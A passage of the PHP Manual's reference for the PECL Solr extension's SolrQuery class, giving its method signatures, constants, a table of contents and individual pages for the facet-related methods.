const integer ORDER_DESC = 1 ;
const integer FACET_SORT_INDEX = 0 ;
const integer FACET_SORT_COUNT = 1 ;
const integer TERMS_SORT_INDEX = 0 ;
const integer TERMS_SORT_COUNT = 1 ;
/* Properties */
/* Methods */
public SolrQuery addFacetDateField ( string $dateField )
public SolrQuery addFacetDateOther ( string $value [, string $field_override ] )
public SolrQuery addFacetField ( string $field )
public SolrQuery addFacetQuery ( string $facetQuery )
public SolrQuery addField ( string $field )
public SolrQuery addFilterQuery ( string $fq )
public SolrQuery addHighlightField ( string $field )
public SolrQuery addMltField ( string $field )
public SolrQuery addMltQueryField ( string $field , float $boost )
public SolrQuery addSortField ( string $field [, int $order = SolrQuery::ORDER_DESC ] )
public SolrQuery addStatsFacet ( string $field )
public SolrQuery addStatsField ( string $field )
public __construct ([ string $q ] )
public void __destruct ( void )
public bool getFacet ( void )
public string getFacetDateEnd ([ string $field_override ] )
public array getFacetDateFields ( void )
public string getFacetDateGap ([ string $field_override ] )
public string getFacetDateHardEnd ([ string $field_override ] )
public array getFacetDateOther ([ string $field_override ] )
public string getFacetDateStart ([ string $field_override ] )
public array getFacetFields ( void )
public int getFacetLimit ([ string $field_override ] )
public string getFacetMethod ([ string $field_override ] )
public int getFacetMinCount ([ string $field_override ] )
public bool getFacetMissing ([ string $field_override ] )
public int getFacetOffset ([ string $field_override ] )
public string getFacetPrefix ([ string $field_override ] )
public array getFacetQueries ( void )
public int getFacetSort ([ string $field_override ] )
public array getFields ( void )
public array getFilterQueries ( void )
public bool getHighlight ( void )
public string getHighlightAlternateField ([ string $field_override ] )
public array getHighlightFields ( void )
public string getHighlightFormatter ([ string $field_override ] )
public string getHighlightFragmenter ([ string $field_override ] )
public int getHighlightFragsize ([ string $field_override ] )
public bool getHighlightHighlightMultiTerm ( void )
public int getHighlightMaxAlternateFieldLength ([ string $field_override ] )
public int getHighlightMaxAnalyzedChars ( void )
public bool getHighlightMergeContiguous ([ string $field_override ] )
public int getHighlightRegexMaxAnalyzedChars ( void )
public string getHighlightRegexPattern ( void )
public float getHighlightRegexSlop ( void )
public bool getHighlightRequireFieldMatch ( void )
public string getHighlightSimplePost ([ string $field_override ] )
public string getHighlightSimplePre ([ string $field_override ] )
public int getHighlightSnippets ([ string $field_override ] )
public bool getHighlightUsePhraseHighlighter ( void )
public bool getMlt ( void )
public bool getMltBoost ( void )
public int getMltCount ( void )
public array getMltFields ( void )
public int getMltMaxNumQueryTerms ( void )
public int getMltMaxNumTokens ( void )
public int getMltMaxWordLength ( void )
public int getMltMinDocFrequency ( void )
public int getMltMinTermFrequency ( void )
public int getMltMinWordLength ( void )
public array getMltQueryFields ( void )
public string getQuery ( void )
public int getRows ( void )
public array getSortFields ( void )
public int getStart ( void )
public bool getStats ( void )
public array getStatsFacets ( void )
public array getStatsFields ( void )
public bool getTerms ( void )
public string getTermsField ( void )
public bool getTermsIncludeLowerBound ( void )
public bool getTermsIncludeUpperBound ( void )
public int getTermsLimit ( void )
public string getTermsLowerBound ( void )
public int getTermsMaxCount ( void )
public int getTermsMinCount ( void )
public string getTermsPrefix ( void )
public bool getTermsReturnRaw ( void )
public int getTermsSort ( void )
public string getTermsUpperBound ( void )
public int getTimeAllowed ( void )
public SolrQuery removeFacetDateField ( string $field )
public SolrQuery removeFacetDateOther ( string $value [, string $field_override ] )
public SolrQuery removeFacetField ( string $field )
public SolrQuery removeFacetQuery ( string $value )
public SolrQuery removeField ( string $field )
public SolrQuery removeFilterQuery ( string $fq )
public SolrQuery removeHighlightField ( string $field )
public SolrQuery removeMltField ( string $field )
public SolrQuery removeMltQueryField ( string $queryField )
public SolrQuery removeSortField ( string $field )
public SolrQuery removeStatsFacet ( string $value )
public SolrQuery removeStatsField ( string $field )
public SolrQuery setEchoHandler ( bool $flag )
public SolrQuery setEchoParams ( string $type )
public SolrQuery setExplainOther ( string $query )
public SolrQuery setFacet ( bool $flag )
public SolrQuery setFacetDateEnd ( string $value [, string $field_override ] )
public SolrQuery setFacetDateGap ( string $value [, string $field_override ] )
public SolrQuery setFacetDateHardEnd ( bool $value [, string $field_override ] )
public SolrQuery setFacetDateStart ( string $value [, string $field_override ] )
public SolrQuery setFacetEnumCacheMinDefaultFrequency ( int $frequency [, string $field_override ] )
public SolrQuery setFacetLimit ( int $limit [, string $field_override ] )
public SolrQuery setFacetMethod ( string $method [, string $field_override ] )
public SolrQuery setFacetMinCount ( int $mincount [, string $field_override ] )
public SolrQuery setFacetMissing ( bool $flag [, string $field_override ] )
public SolrQuery setFacetOffset ( int $offset [, string $field_override ] )
public SolrQuery setFacetPrefix ( string $prefix [, string $field_override ] )
public SolrQuery setFacetSort ( int $facetSort [, string $field_override ] )
public SolrQuery setHighlight ( bool $flag )
public SolrQuery setHighlightAlternateField ( string $field [, string $field_override ] )
public SolrQuery setHighlightFormatter ( string $formatter [, string $field_override ] )
public SolrQuery setHighlightFragmenter ( string $fragmenter [, string $field_override ] )
public SolrQuery setHighlightFragsize ( int $size [, string $field_override ] )
public SolrQuery setHighlightHighlightMultiTerm ( bool $flag )
public SolrQuery setHighlightMaxAlternateFieldLength ( int $fieldLength [, string $field_override ] )
public SolrQuery setHighlightMaxAnalyzedChars ( int $value )
public SolrQuery setHighlightMergeContiguous ( bool $flag [, string $field_override ] )
public SolrQuery setHighlightRegexMaxAnalyzedChars ( int $maxAnalyzedChars )
public SolrQuery setHighlightRegexPattern ( string $value )
public SolrQuery setHighlightRegexSlop ( float $factor )
public SolrQuery setHighlightRequireFieldMatch ( bool $flag )
public SolrQuery setHighlightSimplePost ( string $simplePost [, string $field_override ] )
public SolrQuery setHighlightSimplePre ( string $simplePre [, string $field_override ] )
public SolrQuery setHighlightSnippets ( int $value [, string $field_override ] )
public SolrQuery setHighlightUsePhraseHighlighter ( bool $flag )
public SolrQuery setMlt ( bool $flag )
public SolrQuery setMltBoost ( bool $flag )
public SolrQuery setMltCount ( int $count )
public SolrQuery setMltMaxNumQueryTerms ( int $value )
public SolrQuery setMltMaxNumTokens ( int $value )
public SolrQuery setMltMaxWordLength ( int $maxWordLength )
public SolrQuery setMltMinDocFrequency ( int $minDocFrequency )
public SolrQuery setMltMinTermFrequency ( int $minTermFrequency )
public SolrQuery setMltMinWordLength ( int $minWordLength )
public SolrQuery setOmitHeader ( bool $flag )
public SolrQuery setQuery ( string $query )
public SolrQuery setRows ( int $rows )
public SolrQuery setShowDebugInfo ( bool $flag )
public SolrQuery setStart ( int $start )
public SolrQuery setStats ( bool $flag )
public SolrQuery setTerms ( bool $flag )
public SolrQuery setTermsField ( string $fieldname )
public SolrQuery setTermsIncludeLowerBound ( bool $flag )
public SolrQuery setTermsIncludeUpperBound ( bool $flag )
public SolrQuery setTermsLimit ( int $limit )
public SolrQuery setTermsLowerBound ( string $lowerBound )
public SolrQuery setTermsMaxCount ( int $frequency )
public SolrQuery setTermsMinCount ( int $frequency )
public SolrQuery setTermsPrefix ( string $prefix )
public SolrQuery setTermsReturnRaw ( bool $flag )
public SolrQuery setTermsSort ( int $sortType )
public SolrQuery setTermsUpperBound ( string $upperBound )
public SolrQuery setTimeAllowed ( int $timeAllowed )
/* Inherited methods */
public SolrModifiableParams::__construct ( void )
public void SolrModifiableParams::__destruct ( void )
}

Predefined Constants

SolrQuery::ORDER_ASC

Used to specify that the sorting should be in acending order

SolrQuery::ORDER_DESC

Used to specify that the sorting should be in descending order

SolrQuery::FACET_SORT_INDEX

Used to specify that the facet should sort by index

SolrQuery::FACET_SORT_COUNT

Used to specify that the facet should sort by count

SolrQuery::TERMS_SORT_INDEX

Used in the TermsComponent

SolrQuery::TERMS_SORT_COUNT

Used in the TermsComponent

Table of Contents

  • SolrQuery::addFacetDateField — Maps to facet.date
  • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
  • SolrQuery::addFacetField — Adds another field to the facet
  • SolrQuery::addFacetQuery — Adds a facet query
  • SolrQuery::addField — Specifies which fields to return in the result
  • SolrQuery::addFilterQuery — Specifies a filter query
  • SolrQuery::addHighlightField — Maps to hl.fl
  • SolrQuery::addMltField — Sets a field to use for similarity
  • SolrQuery::addMltQueryField — Maps to mlt.qf
  • SolrQuery::addSortField — Used to control how the results should be sorted
  • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
  • SolrQuery::addStatsField — Maps to stats.field parameter
  • SolrQuery::__construct — Constructor
  • SolrQuery::__destruct — Destructor
  • SolrQuery::getFacet — Returns the value of the facet parameter
  • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
  • SolrQuery::getFacetDateFields — Returns all the facet.date fields
  • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
  • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
  • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
  • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
  • SolrQuery::getFacetFields — Returns all the facet fields
  • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
  • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
  • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
  • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
  • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
  • SolrQuery::getFacetPrefix — Returns the facet prefix
  • SolrQuery::getFacetQueries — Returns all the facet queries
  • SolrQuery::getFacetSort — Returns the facet sort type
  • SolrQuery::getFields — Returns the list of fields that will be returned in the response
  • SolrQuery::getFilterQueries — Returns an array of filter queries
  • SolrQuery::getHighlight — Returns the state of the hl parameter
  • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
  • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
  • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
  • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
  • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
  • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
  • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
  • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
  • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
  • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
  • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
  • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
  • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
  • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
  • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
  • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
  • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
  • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
  • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
  • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
  • SolrQuery::getMltFields — Returns all the fields to use for similarity
  • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
  • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
  • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
  • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
  • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
  • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
  • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
  • SolrQuery::getQuery — Returns the main query
  • SolrQuery::getRows — Returns the maximum number of documents
  • SolrQuery::getSortFields — Returns all the sort fields
  • SolrQuery::getStart — Returns the offset in the complete result set
  • SolrQuery::getStats — Returns whether or not stats is enabled
  • SolrQuery::getStatsFacets — Returns all the stats facets that were set
  • SolrQuery::getStatsFields — Returns all the statistics fields
  • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
  • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
  • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
  • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
  • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
  • SolrQuery::getTermsLowerBound — Returns the term to start at
  • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
  • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
  • SolrQuery::getTermsPrefix — Returns the term prefix
  • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
  • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
  • SolrQuery::getTermsUpperBound — Returns the term to stop at
  • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
  • SolrQuery::removeFacetDateField — Removes one of the facet date fields
  • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
  • SolrQuery::removeFacetField — Removes one of the facet.date parameters
  • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
  • SolrQuery::removeField — Removes a field from the list of fields
  • SolrQuery::removeFilterQuery — Removes a filter query
  • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
  • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
  • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
  • SolrQuery::removeSortField — Removes one of the sort fields
  • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
  • SolrQuery::removeStatsField — Removes one of the stats.field parameters
  • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
  • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
  • SolrQuery::setExplainOther — Sets the explainOther common query parameter
  • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
  • SolrQuery::setFacetDateEnd — Maps to facet.date.end
  • SolrQuery::setFacetDateGap — Maps to facet.date.gap
  • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
  • SolrQuery::setFacetDateStart — Maps to facet.date.start
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
  • SolrQuery::setFacetLimit — Maps to facet.limit
  • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
  • SolrQuery::setFacetMinCount — Maps to facet.mincount
  • SolrQuery::setFacetMissing — Maps to facet.missing
  • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
  • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
  • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
  • SolrQuery::setHighlight — Enables or disables highlighting
  • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
  • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
  • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
  • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
  • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
  • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
  • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
  • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
  • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
  • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
  • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
  • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
  • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
  • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
  • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
  • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
  • SolrQuery::setMlt — Enables or disables moreLikeThis
  • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
  • SolrQuery::setMltCount — Set the number of similar documents to return for each result
  • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
  • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
  • SolrQuery::setMltMaxWordLength — Sets the maximum word length
  • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
  • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
  • SolrQuery::setMltMinWordLength — Sets the minimum word length
  • SolrQuery::setOmitHeader — Exclude the header from the returned results
  • SolrQuery::setQuery — Sets the search query
  • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
  • SolrQuery::setShowDebugInfo — Flag to show debug information
  • SolrQuery::setStart — Specifies the number of rows to skip
  • SolrQuery::setStats — Enables or disables the Stats component
  • SolrQuery::setTerms — Enables or disables the TermsComponent
  • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
  • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
  • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
  • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
  • SolrQuery::setTermsLowerBound — Specifies the Term to start from
  • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
  • SolrQuery::setTermsMinCount — Sets the minimum document frequency
  • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
  • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
  • SolrQuery::setTermsSort — Specifies how to sort the returned terms
  • SolrQuery::setTermsUpperBound — Sets the term to stop at
  • SolrQuery::setTimeAllowed — The time allowed for search to finish

User Contributed Notes

There are no user contributed notes for this page.
SolrModifiableParams::__destruct
SolrQuery::addFacetDateField
Solr


Maps to facet.date

SolrQuery
SolrQuery::addFacetDateOther
SolrQuery
PHP Manual

SolrQuery::addFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateField — Maps to facet.date

Description

public SolrQuery SolrQuery::addFacetDateField ( string $dateField )

This method allows you to specify a field which should be treated as a facet.

It can be used multiple times with different field names to indicate multiple facet fields

Parameters

dateField

The name of the date field.

Return Values

Returns a SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery
SolrQuery::addFacetDateOther
SolrQuery


Adds another facet.date.other parameter

SolrQuery::addFacetDateField
SolrQuery::addFacetField
SolrQuery
PHP Manual

SolrQuery::addFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateOther — Adds another facet.date.other parameter

Description

public SolrQuery SolrQuery::addFacetDateOther ( string $value [, string $field_override ] )

Sets the facet.date.other parameter. Accepts an optional field override

Parameters

value

The value to use.

field_override

The field name for the override.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addFacetDateField
SolrQuery::addFacetField
SolrQuery


Adds another field to the facet

SolrQuery::addFacetDateOther
SolrQuery::addFacetQuery
SolrQuery
PHP Manual

SolrQuery::addFacetField

(PECL solr >= 0.9.2)

SolrQuery::addFacetField — Adds another field to the facet

Description

public SolrQuery SolrQuery::addFacetField ( string $field )

Adds another field to the facet

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addFacetDateOther
SolrQuery::addFacetQuery
SolrQuery


Adds a facet query

SolrQuery::addFacetField
SolrQuery::addField
SolrQuery
PHP Manual

SolrQuery::addFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::addFacetQuery — Adds a facet query

Description

public SolrQuery SolrQuery::addFacetQuery ( string $facetQuery )

Adds a facet query

Parameters

facetQuery

The facet query

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addFacetField
SolrQuery::addField
SolrQuery


Specifies which fields to return in the result

SolrQuery::addFacetQuery
SolrQuery::addFilterQuery
SolrQuery
PHP Manual

SolrQuery::addField

(PECL solr >= 0.9.2)

SolrQuery::addField — Specifies which fields to return in the result

Description

public SolrQuery SolrQuery::addField ( string $field )

This method is used to used to specify a set of fields to return, thereby restricting the amount of data returned in the response.

It should be called multiple time, once for each field name.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addFacetQuery
SolrQuery::addFilterQuery
SolrQuery


Specifies a filter query

SolrQuery::addField
SolrQuery::addHighlightField
SolrQuery
PHP Manual

SolrQuery::addFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::addFilterQuery — Specifies a filter query

Description

public SolrQuery SolrQuery::addFilterQuery ( string $fq )

Specifies a filter query

Parameters

fq

The filter query

Return Values

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addField
SolrQuery::addHighlightField
SolrQuery


Maps to hl.fl

SolrQuery::addFilterQuery
SolrQuery::addMltField
SolrQuery
PHP Manual

SolrQuery::addHighlightField

(PECL solr >= 0.9.2)

SolrQuery::addHighlightField — Maps to hl.fl

Description

public SolrQuery SolrQuery::addHighlightField ( string $field )

Maps to hl.fl. This is used to specify that highlighted snippets should be generated for a particular field

Parameters

field

Name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addFilterQuery
SolrQuery::addMltField
SolrQuery


Sets a field to use for similarity

SolrQuery::addHighlightField
SolrQuery::addMltQueryField
SolrQuery
PHP Manual

SolrQuery::addMltField

(PECL solr >= 0.9.2)

SolrQuery::addMltField — Sets a field to use for similarity

Description

public SolrQuery SolrQuery::addMltField ( string $field )

Maps to mlt.fl. It specifies that a field should be used for similarity.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addHighlightField
SolrQuery::addMltQueryField
SolrQuery


Maps to mlt.qf

SolrQuery::addMltField
SolrQuery::addSortField
SolrQuery
PHP Manual

SolrQuery::addMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::addMltQueryField — Maps to mlt.qf

Description

public SolrQuery SolrQuery::addMltQueryField ( string $field , float $boost )

Maps to mlt.qf. It is used to specify query fields and their boosts

Parameters

field

The name of the field

boost

Its boost value

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addMltField
SolrQuery::addSortField
SolrQuery


Used to control how the results should be sorted

SolrQuery::addMltQueryField
SolrQuery::addStatsFacet
SolrQuery
PHP Manual

SolrQuery::addSortField

(PECL solr >= 0.9.2)

SolrQuery::addSortField — Used to control how the results should be sorted

Description

public SolrQuery SolrQuery::addSortField ( string $field [, int $order = SolrQuery::ORDER_DESC ] )

Used to control how the results should be sorted.

Parameters

field

The name of the field

order

The sort direction. This should be either SolrQuery::ORDER_ASC or SolrQuery::ORDER_DESC.

Return Values

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addMltQueryField
SolrQuery::addStatsFacet
SolrQuery


Requests a return of sub results for values within the given facet

SolrQuery::addSortField
SolrQuery::addStatsField
SolrQuery
PHP Manual

SolrQuery::addStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet

Description

public SolrQuery SolrQuery::addStatsFacet ( string $field )

Requests a return of sub results for values within the given facet. Maps to the stats.facet field

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addSortField
SolrQuery::addStatsField
SolrQuery


Maps to stats.field parameter

SolrQuery::addStatsFacet
SolrQuery::__construct
SolrQuery
PHP Manual

SolrQuery::addStatsField

(PECL solr >= 0.9.2)

SolrQuery::addStatsField — Maps to stats.field parameter

Description

public SolrQuery SolrQuery::addStatsField ( string $field )

Maps to stats.field parameter This methods adds another stats.field parameter.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addStatsFacet
SolrQuery::__construct
SolrQuery


Constructor

SolrQuery::addStatsField
SolrQuery::__destruct
SolrQuery
PHP Manual

SolrQuery::__construct

(PECL solr >= 0.9.2)

SolrQuery::__construct — Constructor

Description

public SolrQuery::__construct ([ string $q ] )

Constructor.

Parameters

q

Optional search query

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::addStatsField
SolrQuery::__destruct
SolrQuery


Destructor

SolrQuery::__construct
SolrQuery::getFacet
SolrQuery
PHP Manual

SolrQuery::__destruct

(PECL solr >= 0.9.2)

SolrQuery::__destruct — Destructor

Description

public void SolrQuery::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::__construct
SolrQuery::getFacet
SolrQuery


Returns the value of the facet parameter

SolrQuery::__destruct
SolrQuery::getFacetDateEnd
SolrQuery
PHP Manual

SolrQuery::getFacet

(PECL solr >= 0.9.2)

SolrQuery::getFacet — Returns the value of the facet parameter

Description

public bool SolrQuery::getFacet ( void )

Returns the value of the facet parameter.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::__destruct
SolrQuery::getFacetDateEnd
SolrQuery


Returns the value for the facet.date.end parameter

SolrQuery::getFacet
SolrQuery::getFacetDateFields
SolrQuery
PHP Manual

SolrQuery::getFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter

Description

public string SolrQuery::getFacetDateEnd ([ string $field_override ] )

Returns the value for the facet.date.end parameter. This method accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacet
SolrQuery::getFacetDateFields
SolrQuery


Returns all the facet.date fields

SolrQuery::getFacetDateEnd
SolrQuery::getFacetDateGap
SolrQuery
PHP Manual

SolrQuery::getFacetDateFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateFields — Returns all the facet.date fields

Description

public array SolrQuery::getFacetDateFields ( void )

Returns all the facet.date fields

Parameters

This function has no parameters.

Return Values

Returns all the facet.date fields as an array or NULL if none was set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetDateEnd
SolrQuery::getFacetDateGap
SolrQuery


Returns the value of the facet.date.gap parameter

SolrQuery::getFacetDateFields
SolrQuery::getFacetDateHardEnd
SolrQuery
PHP Manual

SolrQuery::getFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter

Description

public string SolrQuery::getFacetDateGap ([ string $field_override ] )

Returns the value of the facet.date.gap parameter. It accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetDateFields
SolrQuery::getFacetDateHardEnd
SolrQuery


Returns the value of the facet.date.hardend parameter

SolrQuery::getFacetDateGap
SolrQuery::getFacetDateOther
SolrQuery
PHP Manual

SolrQuery::getFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter

Description

public string SolrQuery::getFacetDateHardEnd ([ string $field_override ] )

Returns the value of the facet.date.hardend parameter. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetDateGap
SolrQuery::getFacetDateOther
SolrQuery


Returns the value for the facet.date.other parameter

SolrQuery::getFacetDateHardEnd
SolrQuery::getFacetDateStart
SolrQuery
PHP Manual

SolrQuery::getFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter

Description

public array SolrQuery::getFacetDateOther ([ string $field_override ] )

Returns the value for the facet.date.other parameter. This method accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetDateHardEnd
SolrQuery::getFacetDateStart
SolrQuery


Returns the lower bound for the first date range for all date faceting on this field

SolrQuery::getFacetDateOther
SolrQuery::getFacetFields
SolrQuery
PHP Manual

SolrQuery::getFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field

Description

public string SolrQuery::getFacetDateStart ([ string $field_override ] )

Returns the lower bound for the first date range for all date faceting on this field. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetDateOther
SolrQuery::getFacetFields
SolrQuery


Returns all the facet fields

SolrQuery::getFacetDateStart
SolrQuery::getFacetLimit
SolrQuery
PHP Manual

SolrQuery::getFacetFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetFields — Returns all the facet fields

Description

public array SolrQuery::getFacetFields ( void )

Returns all the facet fields

Parameters

This function has no parameters.

Return Values

Returns an array of all the fields and NULL if none was set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetDateStart
SolrQuery::getFacetLimit
SolrQuery


Returns the maximum number of constraint counts that should be returned for the facet fields

SolrQuery::getFacetFields
SolrQuery::getFacetMethod
SolrQuery
PHP Manual

SolrQuery::getFacetLimit

